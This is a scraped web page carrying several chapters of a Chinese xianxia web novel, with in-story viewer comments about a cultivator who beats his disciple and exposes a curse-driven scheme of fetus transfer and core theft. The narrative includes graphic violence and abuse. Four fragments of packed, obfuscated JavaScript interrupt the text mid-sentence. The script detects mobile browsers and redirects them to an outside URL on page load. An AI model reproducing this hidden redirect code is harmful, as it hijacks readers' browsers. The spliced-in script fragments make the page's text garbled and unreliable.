l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060197|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“青遮……” 啪。 甩出去的软尺被收了回来,打在了褚褐脚边。两下。 另一种害怕的情绪爬了上来,缠绕着丝丝的麻意袭遍全身。褚褐悄悄挪了挪步子,试图离软尺远一点。啪,又一下,这次抽到了脚背。 “跪下。” “啊?” 青遮终于偏过头看了他一眼,不知道是不是站姿的关系,这一眼投下来时似乎带着极其的不耐和烦躁。 “跪下。” 褚褐打了个哆嗦,当即跪得老老实实。 “女儿!我的女儿!” 藏在青遮后面探头探脑的乔老二发现乔巧没动静了,哀嚎着跑出来哭,然后被一鞭子抽了个大趔趄。 “她还没死,只是晕了,把嘴闭上。” 乔老二吓得哼唧两声,委委屈屈抱着袖子不说话了。 “褚褐。” 褚褐一个激灵:“我我我我在。” 冰凉的尺身轻轻拍上了他的脸。一下。两下。 “我和你说过什么?嗯?” “不要、不要乱跑……” “错了吗?” “我、我是为了查清……” 啪! 戒尺瞅准了他脖子和肩膀连接处的那块软肉,狠狠打了下去,挨着衣服发出了厚重的一声闷响。 “错了吗?” “我……” 啪。又一下。这次是脖子。 青遮似乎极其了解打哪里皮疼、打哪里肉疼、打哪里只是声音听着吓人,尺子落下的地方即使隔着好几层衣服,也依旧火辣辣地透着股疼劲儿。褚褐从小到大是被打惯了的,棍棒藤条巴掌什么都挨过,但不知为什么,这些好像和青遮落下的尺子的感觉都不一样,青遮的打带着股麻劲儿,从挨打的地方往四周蔓延开,然后钻进骨子里变成抓心挠肝的痒。 “第三遍。错了吗?” 褚褐猛地抖了抖。 “我错了,我错了!” “很好。”青遮收起三千尺,微微弯腰,柔软带着点凉意的掌心轻轻擦过褚褐被抽红了的脖颈,“疼吗?” 褚褐不自觉颤了一下,“不、不疼……” “说实话。” “……疼。” 青遮弯腰的幅度增大了些,靠他靠得更近了,手掌慢慢贴实上皮肤揉捏着,一阵刺疼从那个位置上炸开,“很疼?” 骤然温柔下来的语调很好地安抚了褚褐的情绪,他紧绷的神经因为接触到熟悉的声音放松下来,眼泪一下子夺眶而出。 “很疼。” “嗯,看出来了。”青遮拿开手,淡淡:“把眼泪擦了。” “哦。”褚褐抬起袖子胡乱抹了两下脸。 “记住这个感觉,以后不准在没有告诉我的情况下私自行动。懂了吗?” “懂了。” “很好。”青遮直起身,脚踢踢褚褐的膝盖,“行了,起来吧。” 褚褐跪得腿麻,扶着墙踉跄着站了起来。 “你。”青遮教训完乱跑的小狗,开始办正事了,“乔老爷,看你女儿的情形,可不止被下了咒符那么简单吧?” “这个、这个这个……” “你是不是有什么话没说?” 8. 狗儿欢 “其实、其实小女并没有被下咒,她只是受不了那位道长先生抛弃了她,所以变得有点疯癫。”乔老二嗫嚅着讲道,“我要是不这么说,你们就不会留下来帮忙了。” “他撒谎!” 褚褐探出头来。 “我听到的不是这样的!” 「哟哟哟,狗狗探头,萌萌~~~」 「我还以为他至少会消沉一会儿的,毕竟刚被打」 「青遮是不是有点太狠了,给孩子后面都打红了,褚褐又不是故意乱跑的」 「nonono,前面的,你太单纯了,这才好嗑啊」 「?嗑点在哪儿啊?」 「您看不出来吗?您看不出来吗!训狗啊(嘶溜)」 「啊啊啊啊啊前面的姐妹你懂我!就是这个!就是这个!」 「而且怎么看,这小子都是一副乐在其中的表情吧」 乐不乐在其中青遮不知道,不过褚褐的确脸红得不太正常。 褚褐在想什么呢,褚褐在想的可太多了。 褚褐一直觉得他和青遮之间有着极强的距离感,造成距离感的原因有性格也有地位,也说不上哪一方面占比更多一些。对于褚褐来说,青遮是他活到现在为止遇到的最特殊的存在,是第一个见到的货真价实的修士(虽然现在存疑了),尽管出于私心他更想称呼青遮为仙人。还是他母亲的旧识,尽管也并没有比他大上几岁。又能勉强算作是他的老师,教导他修炼入门,偶尔还会说些为人处世的道理。重重身份叠加在青遮身上,褚褐理所当然地会对他产生依赖之情。 但很遗憾地是,青遮似乎对维护他们之间的感情不怎么上心,即使他术法练得再不好也只是很平静地说一句继续练习下次注意,不打也不骂。 褚褐觉得,打骂有时候也可以成为在乎一个人、对一个人上心的证明,青遮实在是太像一摊低温的水了,或者是在他面前太像一摊低温的水了,无论如何也炸不起来。碍于地位上的悬殊差距,褚褐也不太敢和青遮亲近,总觉得自己嘴笨,会惹他生气,要是他把自己扔了该怎么办? 可是,乔姑娘那句“你那位哥哥哪里是修道之人,他身上没有一丝一毫的灵气,就是个再普通不过的凡人”猛地让他心神动荡,生出了连自己都震惊不已的愉悦之情。 如果青遮只是个没有灵力的普通人,那么他在自己面前的寡言少语似乎就有了一个可以解释的通口,也许是不信任他,毕竟谁都不能保证自己的旧识之子没什么坏心思,所以他对自己虽教导却忽视漠然的态度也就理所当然了起来。 那么,要是自己能够修炼到更高的境界、能够保护他、让他无法反抗的境界,「丢弃」的主动权是不是就在自己这里了。 这个太过于卑劣的想法从他脑海中一闪而过,然后在青遮三千尺打下来的第一下攀升到了顶峰。 青遮是重视我的。 他瑟缩着肩膀挨打,眼睛却直勾勾盯着上方的人。 青遮,是重视我的。 那一瞬间炸开的愉悦冲淡了皮肉上传来的疼痛,褚褐近乎餍足地注视着青遮的背影,头一次觉得可以凭借自己的手抓住什么东西。 “青遮,乔姑娘是道心破碎的修道之人,她是修士。” 他迫不及待地将自己知道的所有事情说了出来,当然,他知道青遮还在气头上,也没忘记要用一种谦卑的、知道自己错了的语气。 青遮在听见褚褐讲述的内容里有“乔娘娘”三个字时,表情微微一动,他走到昏厥过去的乔巧旁边,甩出尺子绑住她怀里的婴儿尸体,一拉一扯,枯木直接被拽了出来在地上滚了好几圈,上面贴着的符纸也飘落了下来。 “逆位的胎殖术?” 他一眼就看出了不对劲。 胎殖术一开始不叫胎殖术,而是求子符,作用也不是真的求子,充其量就是个安心的祈福咒,从民间传出来的,后来不知道被谁加以改动,添了几笔,变成了货真价实的“求子符”,但作用却是把别人的胎抢过来移植到自己体内。因为过于邪异,如果母体无法受得住胎殖术的反噬,腹中的胎儿很有可能变成死胎,在民间曾一度引起骚乱,后来被精于符咒的不周山收缴,自此以后便失传了绘制方法。 青遮之所以见过还多亏了他的炉鼎身份,他接触过的邪术数不胜数,胎殖术自然也在其中。 不过逆位的胎殖术,他倒是没见过。 “乔老爷,你曾说过,你女儿的第一胎是个死胎对吧。” “是,是。” “你过来。”青遮示意乔老二,“看一下你女儿的腹部有没有伤痕。” 乔老二没动:“要不,还是您来看吧,我又不懂这些,就不过去了。” “我来看不合适。算了,府中照顾她的丫鬟呢,让她过来看。” 乔老二缩缩膀子:“我府中没有丫鬟,全是伙计。” “全是男的?”青遮转过身看他,心生窦疑,“照顾你女儿的人呢?也是男的?” “是男的。” 这下就连褚褐都听出来点不对劲了,“你怎么能让男的来照顾你女儿?” 乔老二赔笑:“她已经嫁过那么多次了,也没什么名声好维护的,男的干活还更利落些嘛。” “你!” “褚褐。” 听出了青遮语气里的警告,褚褐只好把拳头收了回来。 青遮已经失去了耐心:“你,过来,看。” 乔老二只好磨蹭着一步一步挪过去,颤着手掀开一点乔巧下摆的衣服。 “道长,道长,您料事如神啊,巧巧肚子上的确有一道伤痕的疤,您看看您看看。” 青遮没看,他略了一眼乔老二哆嗦的手,“你好像很怕你女儿。” “没、没有啊。” 褚褐也注意到了:“没有你手抖那么厉害?” “这是、这是因为……” “行了。”被耽误在这儿很久的青遮明显对扮演慈善好心修士前辈的耐心极速下降,“不用解释了。” 他飞快瞥了一眼伤口,笃定:“这不对。” “啊?”乔老二傻眼了,“哪里不对?” “伤口不对,”青遮皱眉,胎殖术不应该造成这么明显的撕裂伤口,乔巧身上的伤口更像是被用刀剖开的伤口。 难道自己想错了?乔巧的第一胎并不是用了胎殖术?或者说逆位的胎殖术造成的伤口就是会比正常情况下的严重? 「嘶友人们,有没有觉得这个伤口有点像剖腹产的伤口?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060198|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「是很像,而且除了剖腹产的伤口,我也想不到有什么其他的需要得在肚子上开个洞」 「可是古代人生产有剖腹产这一项吗?不都是顺产吗?」 剖腹产? 青遮意识到什么,“乔老爷,你之前说的死掉的那些姑爷是埋在后园是吗?” “对对对,在后园呢。” “带我过去。” “好好好,没问题。” 乔老二在前面引路,把他们带到了后园。现在已经是晚上了,乔老二招呼下人们把灯都点起来,开始挖后园的土。 “褚褐。” “我在。”褚褐本来在帮忙,听见青遮唤他,立刻丢下铁锨跑过来,“怎么了青遮?” “你不用动手。”青遮勾手示意他把衣服上沾到的土拍拍,“背上不是还有伤吗?” “这个啊,这个早就不疼了,青遮下手不重。”褚褐亲昵地朝他笑,“我知道你是为了我好。” 「乖乖,自我PUA」 「我还是那句话,宝宝,要不咱还是按个防沉迷吧」 「棕棕会不会是从小被打惯了所以并不觉得这个行为是不对的啊」 「我倒觉得以褚褐的性格,他分得清打和打之间的区别」 「嗯?什么意思?」 「意思就是,这小子纯粹装的,看他笑的那样儿,享受得很」 青遮也不禁怀疑,难道他下手下重了把人抽傻了?否则他脸上怎么半点怨怼都没有。 “真的不疼了?” 他掏出尺子拍了拍褚褐的脊骨,对方站得笔直,半点反应都没有。 “不疼了。”褚褐仰着脸,旁边小厮提着的灯笼的光影影绰绰映在他眼睛里,染上了一层昏昧的暖色,“早就不疼了。” 「啧啧啧嘴真硬啊」 「也不知道当初谁被打哭了」 「褚褐:是谁?是谁?反正不是我」 青遮很清楚自己下手的力度,断不会在如此短的时间内就恢复,只能说明这小子在硬撑。 爱逞强。哼,狗脾气。 青遮敛去嘴角淡到近乎于无的笑意。 你最好是真知道错了,否则以后有你受的。 “道长,道长!挖出来了!” 三具裹着破布的尸体被抬了出来,乔老二拿袖子捂住口鼻,一边往后退一边瓮声瓮气地开口,“道长,您要看的姑爷们的尸体。” 青遮跟旁边的小厮要了根棍子,拨开了尸体的衣服。 “最早一具是什么时候埋下去的?” “大概,五年前吧。” “五年前?”褚褐凑过来一起看,“五年尸体还能保持这样?都不腐烂的吗?” “你过来干什么?你不害怕了?” “普通尸体还好,我只是怕带血的……”褚褐越说声音越小,应该是想到了青梅村的事情。 既然不害怕,青遮就随他看了。他把衣服全部拨开,重点察看了他们的腹部,果不其然在上面看到了胎殖术的符样,同样是逆位的版本。 “道长,您看出什么了吗?” “嗯,差不多了。”青遮把棍子扔了,视线转移到了乔老二身上,“乔老爷,能麻烦你给我看一下你的腹部吗?” 9. 仙人命 “啊?我?我就不用了吧。” 乔老二下意识地捂住了他的肚子。 青遮才懒得和他废话,“褚褐,去。” 褚褐闻声而动,直接一掌将人摁倒在地,干净利落地扒开他衣服。 “青遮,他有。” 一枚巴掌大的逆位胎殖咒符咒画在乔老二受到惊吓而一起一伏的肚子上面,颜色比那些躺在地上尸体的要更加鲜艳和亮丽。 “我知道了。”青遮转向那群小厮,“你们,把衣服撩起来。” 小厮们茫然地互相张望,不知道该不该听青遮的话。 褚褐压低声音恐吓:“快脱。” 小厮们吓得当即将上半身脱了个一干二净。 褚褐扫了一眼:“青遮,他们没有。” “不应该。”青遮蹙眉,思索了片刻后突然想到了什么,开始捏诀画符,“显影,着。” 几道流光飞到小厮们身上,有几个人的肚子上慢慢浮现出了胎殖术符咒的样子,但都是只画了一半,甚至有的只起了一笔。 未完成体。 符咒的绘制很讲究一气呵成,这口“气”很重要,一旦中途断开笔触“气”就没了,符自然也废了。 但这几个人肚子上的符咒似乎不是这样的,虽然只是未完成体,但却在微微发着光,这正是还在起效应的一种体现。 能够画出起作用的断符的人凤毛麟角,青遮不觉得如此的天才会出现在凤头山这样的地方,那么就剩下一种可能了。 “青遮。”褚褐低头仔细看了看,“这是拿命在养符吗?” “你看出来了?”这倒是出乎青遮的意料,“基础知识还挺扎实。” 「能不扎实吗?他的镯子里除了书还是书」 「我从没遇见过这么爱看书的主角,在这样一部动漫里,难道不应该是武痴更符合救世主高端大气上档次的调调吗?书呆子是什么鬼?」 「不会吧,不会吧,不就夸了一句吗?宝宝,你耳朵红什么?」 「那算夸吗?那、算、夸、吗?」 「哎呦不行,太丢人了,从没粉过这么纯情的主角,我都没脸往下看」 「我特地退出视频,看了一眼标签,嗯,没错,仙侠,不是爱情」 「不儿,这有啥好羞涩的?难道是因为我太久没谈恋爱已经搞不懂现在小年轻的脑回路了?」 如果是现状不对青遮也很想问问褚褐脑子里到底在想些什么,不会真被自己打傻了吧? “乔老爷,我之前问过你,你有没有什么事情瞒着我没说出来,看来,你没说实话啊。” “我、我说了……” “那你肚子里的是什么?” 三千尺出现,延长,变软,啪的抽在乔老二的肚子上,乔老二顿时嚎哭出声,圆滚滚的肚子的东西也因为受不了疼痛开始蠕动起来。 “是我给你剖开,还是你自己讲?” “不要剖开!不要剖开!”乔老二被吓到了,挡住肚子疯狂地摇头,“剖开我就会死啊!” “那就说。” 乔老二只好开口:“我肚子里的、我肚子里的东西是一个胎儿。” 褚褐惊地瞪大眼睛,“这,怎么可能,男子怎么可能怀孕?” “我说的句句属实啊!”乔老二哭得都开始干呕了,“其实我女儿的第一胎不是自然出生的,八岐宫的那个道长,他、他就是个邪修!他诓骗了巧巧的感情,在巧巧怀孕不到八个月的时候,硬生生将我女儿的胎儿生剖了出来啊!” 果然。青遮垂眸。他的判断没有错,那道伤痕的确不是胎殖术造成的。 “我的女儿就这么被折磨疯了,为了让那个死胎活过来,她不知道怎么从邪修那里学来了莫名其妙的符咒的画法,竟然将死胎放在了每一个姑爷的体内温养着。” “你们想想,男人哪里能怀孕,就算是用什么术法怀上了,也生不下来,那些个姑爷每每怀到第八个月,就撑不住死了,我的女儿就嫁给新的人用同样的术法再将胎儿转移一遍。” “因为嫁的次数多了,名声不好,就没什么人敢娶她了,最后巧巧居然把主意都打到我头上了,我要是不找个人过来替我,再有两个月我就要死了。” 褚褐明白过来,“原来如此,难怪你这么怕你女儿。” “道长,道长。”乔老二跪在地上朝青遮爬过来,“您既然能看出来我肚子里的异样,一定有方法救我吧,求求您了救救我吧,救救我吧!我不想死啊!” “我还有几个疑问,麻烦乔老爷帮我解疑答惑一下。”青遮甩出一尺子,抽掉了乔老二想要抱他大腿的手,“那群小厮身上的胎位咒应该不是你女儿画的,是你画的吧?因为没人娶你女儿了,你迟迟等不到人,就先拿小厮试手,这也就是为什么整个乔府只有男子没有女子,是不是?” “是、是这样。” “但是你作为一个普通人根本不会画完整的符咒,所以只有一半甚至是几笔,因为没有画完所以符咒也不会显形也就不怕乔巧会发现,是不是?” “没错,道长,您真是神机妙算啊。” 青遮没理会乔老二的马屁,“那么,我还有最后一个问题。” “您问,我一定知无不言,言无不尽。” “男子当然不会怀孕,更不能生产,那么,你的女儿为什么不干脆找女人做她死胎的容器?一个府里死几个丫鬟造成的轰动肯定没有死几个姑爷造成的轰动大吧?” “这、这这这,这得问我的女儿,我哪清楚她的想法啊。” “你不清楚?你怎么会不清楚?”青遮冷冷一笑,“你女儿只找男人做容器却不找女人做容器的原因只有一个,那就是,她在报复你们,她根本就不想让那个死胎活过来。” 啪、啪、啪。 后园里突然响起单薄却突兀的鼓掌声,褚褐反应极快,立刻攥拳挡在了青遮面前,一副如临大敌的样子。 “真厉害啊。”已经从昏迷中苏醒了的乔巧抱着婴儿尸体,嘴角勾起一个非常标准的微笑,在灯笼的映照下诡异又渗人,“居然能在这老不死真假参半的话术里还原出大半的事情原貌,你应该算得上头一个了。” “多谢夸奖。”比起褚褐的紧张青遮倒是放松得多,还有心情向乔巧道谢,“你爹是个说谎不打草稿的人渣还是能从面相上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060199|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出来的。” 乔巧咯咯咯笑出声:“修士都会相面吗?那你有给自己相过吗?知道——” “自己也是个人渣吗?” 凌厉的掌风几乎是和这句话一同响起来的,青遮抓住褚褐的衣领把他往自己身后一扯,另一只手出掌和对方对上,“砰”地一声,周围掀起了一波巨大的气流。 「啊啊啊啊怎么就打起来了!」 「不是等等,青青不是没有灵力吗?他怎么敢和乔巧对掌啊啊啊」 褚褐同样知道这一点,近乎目眦欲裂:“青遮!” “我没事。” 青遮当然不敢随便和乔巧对掌,但前提得是,乔巧真的是一个修士。 “果然。”这一掌空有气势,却虚浮无力,“你不是修士。” “嘁。”乔巧阴郁着脸,率先收回了手,“你还真是心机深沉,就不怕我真伤了你吗?” “不会,我对自己的判断很有信心。”青遮看了一眼被牢牢护在乔巧怀里的婴儿尸体,“该是你小心才是,好好看着点自己的孩子,否则怎么死的都不知道。” 乔巧明白青遮看出了点什么,下意识地把尸体抱得更紧了。 “什么自己的孩子,它才不是我的孩子!它是把我害成现在这样的罪魁祸首!” “罪魁祸首可不应该得到这样的待遇。”青遮意指乔巧保护它的行为,“你现在根本就离不开它,这难道不是和你的说法自相矛盾吗?” 乔巧眼里最后一丝笑意也消失殆尽,浓厚的怨怼逐渐弥漫开来。 “你和所谓的罪魁祸首现在是生死共体,你背叛了过去的自己,恐怕,这比你所过去遭受的一切更让人感到悲伤。” “哈,哈哈哈哈哈哈哈。”乔巧忽然大笑起来,笑到捂着肚子弯下了腰,凄厉的声音划破夜空,令人毛骨悚然。 “去他的狗屁悲伤!你是在同情我吗?我不需要!背叛了那又怎么样?我本来就不是过去的乔巧了,这些酸不唧唧的话你还是留给早就死了的乔巧说吧!” 她咬着牙,腮帮子在颤抖。 “我,是乔娘娘,是乔娘娘!” 褚褐喃喃:“那个邪修起的名字……” “没错!说起来我还得好好感谢他,要不是他我现在还是那个蠢得要死的傻姑娘。” 她瞥了一眼趴在地上瑟瑟发抖的乔老二。 “他是怎么跟你们说的?是不是编造了一段关于爱情的美好佳话?是不是装出一副爱女心切的慈父模样求你们救救我?我呸!” 她狠狠啐了乔老二一口。 “假惺惺!他想救的只有他自己!为了几张银票,他心甘情愿把我卖给了那个修道之人,自己转头住起了大宅院、吃起了山珍海味。我怀孕未足月被生生剖腹去胎,好不容易活下来想要回去,结果他说,嫁出去的女儿泼出去的水,如果我回去了他的钱就没了,甚至还说,趁我年轻,能生育,再多生几个孩子就能套牢夫君的心。” 乔巧的声音越来越高,越来越撕心裂肺。 “孩子,孩子!既然你们都那么喜欢孩子、都那么需要孩子!那就你们来生好了!都你们来生好了!” 10. 伪君子 乔巧其实一开始并不知道自己被父亲卖了。 在她的视角里,她只是恰巧到了适婚的年龄,恰巧有一个还算有钱的郎君上门提亲,恰巧她爹爹又对这位未来姑爷很满意,于是第二个月她便嫁了过去,流程走得和凤头山的其他女子们没什么两样,这里面除了出嫁,其他都不需要她的参与。 直到嫁过去,她才知道自己的夫君是个修士,惊讶之余又有些高兴,叹自己命好,对方又待她颇为妥帖,吃食衣着都不缺她的,不仅相貌清秀性格还温和,会用很温柔的调子喊她乔娘娘,并说,你的夫君是修士,你自当也应该有一个修道之人的称呼。 她沉浸在幸福的虚幻泡沫里无法自拔,所以并没有注意到她的夫君每天晚上递过来的养身体的汤味道太过腥酸,也没有注意到他终日看过来的眼神总是停留在自己的肚子上,更没有注意到她的父亲,一个普普通通的卖布商,买下了一座在凤头山最大最贵的宅院,过上了铺张奢靡的生活。 直到后来,她怀孕了。 再后来,她的孩子没了。 那个男人,那个在名义上是她夫君的男人,拿着冷冰冰的刀,或者是剑?她不知道,她不清楚,她痛得快死过去了,她只能感受到自己的肚子被慢慢慢慢割开,轻而易举地像在切一个圆滚滚的西瓜,一双手伸进了她滚烫的、粘稠的肚子里,将她身体里的一部分硬生生挖了出来,如同在剜一块坏掉的肉。 “真可惜,这个也没培育成功。” 她听见那个人说,用很遗憾的语气。 “这都第几个了?为什么就是不对呢?明明方法没有问题,我还以为这次绝对能行呢。” 水流声。水流声。布料擦过人皮肤的声音。 “啧。算了,扔了吧,去找下一个好了。” 布料掉到地上的声音。 然后。 某样东西摔到地上的声音。砰。 很闷,好像一团肉。 “道长,道长,我女儿怎么样了?” “你女儿的肚子不行。” “啊?这这这,说不定,多怀几胎就好了,要不您再试试?” “哼,你不就是怕我把钱要回去吗?你以为我是你们这种低贱的凡人吗?我说了拿钱买你女儿的肚子就不会出尔反尔,就当是多做了次尝试罢了。” “哎呦多谢道长,多谢道长啊!” 声音逐渐沉下去了,如同她的体温和心跳,她感觉自己仿佛烂在了床上。 她是一个在自己闺房本本分分长起来的普通姑娘,凤头山每一个姑娘都是这么过来的,她们长大,嫁人,生子,然后再看着自己的孩子长大,嫁人或娶妻,生子,循环往复,直到死亡降临。 她并不觉得这有什么不对的地方,她觉得每个人都是这样的,都走着一样的路,过着一样的生活,区别只是谁活的时间更久,谁过得更尽人意一些而已。 所以当真相砸下来的时候,她的第一感觉不是恨,是无措。 她不会恨,她没有恨的情绪,很奇怪,好像从小到大她没有被教过怎样去恨、怎样去生气,她被教的最多的是如何贤良淑德,如何相夫教子。 她是奔着爱而去的,可是现在却被告诉夫君的爱是假的,父亲的爱也是假的,这世上对她来说最亲近的两个人所付出的爱,居然都是假的。 这超出了她的理解。 如果这都能做得了假,那还有什么是真的? 爱有真的吗? 她的身体在痉挛,肚子里冒着粘稠滚热的水声,整个人快要融化成一摊红色的泥。 如果、如果他们都不爱我,那么谁还能爱我呢? 自己吧,只有自己了。我只剩下我自己了。 那么我就来爱我吧。这个世上,大概只有我,才最爱我。 迟来的、疯狂的恨意淹没了她,像是在庆祝她的新生。 我想活下去。 我好想活下去啊。活下去才能说爱的事情吧。 她听着肚子里的水流声逐渐平息,想。 对。我要活下去。 于是她举起了刀,砍死了睡梦中的、没有一丝防备的男人,分开头颅和身体,扒开胸腔和肚子,像在杀一只鸡。 “你看。”乔巧举起婴儿尸体,脸上浮现出癫狂:“这就是我得到的。” 褚褐已经被她讲述的故事震惊到说不出话来,这件事情完全颠覆了他的认知。 原本他以为乔姑娘是坏的,可是后来发现她有苦衷,但她的确也杀了人,还杀了很多人。 所以,她到底是好人还是坏人?这件事情到底是对的还是错的? “你讲那么多的目的是什么?想获得同情吗?”青遮脸色不变,依旧是那副淡淡的样子,“可你刚刚不是不屑于我们同情你吗?” “你觉得我是在说谎?” “如果你真的是乔巧,那么你说的有可能是真话。但问题是,你不是乔巧,你是乔娘娘。” 褚褐把自己从思索的漩涡里拔出来,“青遮,这是什么意思?” “不是她自己说的吗?”青遮扬扬下巴,“她自己说她不是乔巧,这恐怕是她今天说的话里为数不多的实话了。” 褚褐没听懂。 “还记得你不久前和我说过的「乔巧是个道心破碎的修道之人」吗?” 褚褐点头:“嗯。” “乔巧是个普通的凡人,就算她的夫君是修道之人,她也不可能那么快的进入修炼一途,更何况,她身上也没有灵力。” “那她是在骗我?” “不全是。”青遮的视线移到那具婴儿尸体上,“只有修士才会道心破碎,那么修士的标准是什么?” “内丹?” “对,内丹。”青遮对着脸色明显难看起来的乔娘娘道:“我猜,你杀了你的夫君之后,把他的内丹剖出来自己用了吧?” 「卧槽还能这样?」 「我以为内丹那种玩意儿,离体了就融化了,不见了」 「根据不同的世界观可能设定也不一样吧?」 「我更想说的是这姐姐好牛逼」 「这内丹还能给普通人用吗?如果能用的话,那普通人不就全都盯上修士了吗?」 「前面的,那也得他们能打得过才行啊,虽然我不知道这个姐姐是怎么办到的」 「按理来说不应该啊,就算是防备心降到了最低,但是淬炼过的身体应该是对杀意有反应的啊」 「是啊,更何况这个姐姐当时还是快死了的状态」 褚褐也疑惑:“普通人可以用修士的内丹吗?” “当然不可以,普通人的身体没有经过淬炼,更没有经过炼气和筑基,是用不了的,身体会承受不了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060200|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那怎么……” “有一种方法可以。”青遮曾经在某本邪典上看到过来着,不过当时书上的说法更倾向于是一个没有经过实际操作的猜测,“将内丹温养在别人体内,需要的时候再拿出来。如果我没猜错的话,那枚内丹应该是在那具婴儿的尸体里吧,你每每找人成亲,用逆位的胎殖术把包裹着内丹的婴儿尸体放在他们体内,伪装出让男人怀孕的样子,用他们的精气血肉来温养内丹,等到他们被吸干了再去找下一个。” 所有符咒的起效都有着一个最基本的条件,那就是灵力的注入,像逆位的胎殖术这种邪咒就更加需要灵力了,所以这也导致乔娘娘施咒更需要内丹的加持,这就形成了闭环。 乔老二以为自己的女儿是为了让死胎活过来才疯魔似的找人成亲,殊不知这根本不关死胎的事情,她只是为了她自己。 “道心破碎即可生出心魔,将别人的内丹放在自己的体内,也不失为一种道心破碎的体现。虽然我知道有心魔的存在,但是心魔已经到了实体化的程度,我就没见过了。” 所以才说乔巧早就死了,毕竟谁能保证实体化出来的心魔就能代表原主的思想? 「哦哦哦哦,是不是有一点儿像第二人格抢占主人格的身体?」 「我感觉也是诶」 这相当于把乔娘娘最后一层遮掩的皮都给扒下来了,她很意外。 “你能看出来我是心魔?” “哦,其实看不出来的。”的确有修炼境界极高的修士能够一眼看出来端倪,不过青遮显然不属于这个行列,他只是有几分猜测,“我就诈一诈你。” 「……我怎么感觉青青好像跟说了一个笑话一样,轻描淡写的」 「重点是这姐姐真被诈出来了啊啊」 其实青遮本来把握不大来着,主要是乔娘娘虽然很符合心魔的感觉,但是结合她的经历和身份,还远远达不到心魔实体化的程度,更像是被有心人推了一把。 “你要内丹做什么?” “成仙啊。” 褚褐怀疑自己听错了:“成仙?如果不是用自己的内丹的话,怎么可能成仙?” “用了自己的内丹也不可能成仙。”青遮批驳,成仙又不是睡觉,条件够了就能实现,“没有人能保证自己的道心能一直稳固,在这漫长的修炼过程中,人或多或少都会产生动摇的念头。你没有仙人的命。” 乔娘娘冷笑,“那是你们,可不是我。” 又来了。 青遮拍拍褚褐的肩膀,“看到了吗?” “啊?” “又一个修炼把自己脑子修傻了的。”他用很平静的语气说出了如上这番话,“所以我说,先别管道心稳不稳固,别把自己修疯了才是正经。” 如果他能够修炼的话,一定不会把自己搞成道心破碎的鬼样子,他还蛮有信心能够一直修炼到临飞升的状态。 只可惜他是个炉鼎。 青遮晦涩的目光在修真界未来的救世主身上转了一圈。要不是现在褚褐太弱,强行夺舍很有可能会造成他身体破碎,得不偿失,他早就下手了。 褚褐在青遮的注视下莫名其妙打了个哆嗦。 “那,青遮,我们要怎么办?救她吗?” “救?为什么要救?”青遮反问,“都说我是人渣了,人渣为什么要救人?” 11. 女儿泪 “大言不惭!”乔娘娘怒了,“我何时需要你们几个道貌岸然的修士来救?先从我手底下活下来再说吧!” 她割破了自己的手腕,鲜红的血流到了怀里的婴儿尸体上,枯木般的身体吸收着血液,慢慢鼓胀成一个正常婴儿的大小。 “褚褐,昨天教你的离火符还有引雷符,背得怎么样了?” 褚褐没想到在这个紧要关头青遮开始考起了他这个,“青遮,现在不是说这个的时候……” “回答。” 褚褐只好把要说的话先咽了回去,“背下来了。” “很好,那么。”青遮手放在他的后颈,轻轻一推,“拖住她。不需要太久,一盏茶时间就好。” 褚褐眼睛一亮:“青遮是想到方法了?” “嗯,可以试一试。前提是你得给我争取到足够的时间写符。” “好!交给我吧!” 「好什么好,这哪里好了!咱要不要先看看对方的实力啊喂」 「青青你是真敢说啊,主角你也是真敢上啊」 「棕棕,听话不是这么听的……」 「不知道该说些什么了,是说青遮真的很信任主角,还是该说主角真的很信任自己?」 「不不不,褚褐一看就不是信任自己,是很信任青遮,要不是青遮说他有办法,他死都不会上的,他还在炼气层呢,对面的姐姐都有内丹了!(虽然是别人的)」 “喂,别装死。”青遮踢了踢趴在地上企图把自己团成一个球装作自己不存在的乔老二,“到用你的时候了。” 「嚯,我都差点忘了乔老二了」 「他还真是天赋异禀,这么圆,我以为是个石墩子」 「哈哈哈哈哈哈哈石墩子」 「诶对了,说起乔老二,既然那个婴儿尸体在乔娘娘手里,那乔老二怀孕怀的是什么?」 「诶,对哦,他怀了个啥?」 